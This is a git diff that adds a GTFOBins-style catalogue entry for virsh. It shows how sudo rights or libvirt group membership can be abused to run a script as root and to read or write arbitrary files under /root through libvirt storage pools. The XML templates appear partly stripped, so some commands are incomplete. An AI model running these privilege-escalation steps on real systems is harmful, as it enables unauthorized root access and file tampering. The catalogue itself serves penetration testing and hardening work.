diff --git a/_gtfobins/virsh.md b/_gtfobins/virsh.md
new file mode 100644
index 0000000..764228b
--- /dev/null
+++ b/_gtfobins/virsh.md
@@ -0,0 +1,68 @@
+---
+functions:
+ sudo:
+ - code: |
+ SCRIPT=script_to_run
+ TF=$(mktemp)
+ cat > $TF << EOF
+
+ x
+
+ hvm
+
+ 1
+
+
+
+
+
+
+ EOF
+ sudo virsh -c qemu:///system create $TF
+ virsh -c qemu:///system destroy x
+ write:
+ - description: This requires the user to be in the `libvirt` group. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. The destination file permissions can be tuned in the XML file.
+ code: |
+ LFILE_DIR=/root
+ LFILE_NAME=file_to_write
+
+ echo 'data' > data_to_write
+
+ TF=$(mktemp)
+ cat > $TF <
+ y
+ $LFILE_DIR/$LFILE_NAME
+
+
+ 5
+ 4096
+ 5
+
+ $LFILE_DIR/$LFILE_NAME
+
+
+ 0600
+ 0
+ 0
+
+
+
+ EOF
+
+ virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
+ virsh -c qemu:///system vol-create --pool x --file $TF
+ virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
+ virsh -c qemu:///system pool-destroy x
+ read:
+ - description: This requires the user to be in the `libvirt` group.
+ code: |
+ LFILE_DIR=/root
+ LFILE_NAME=file_to_read
+
+ SPATH=file_to_save
+
+ virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
+ virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
+ virsh -c qemu:///system pool-destroy x
+---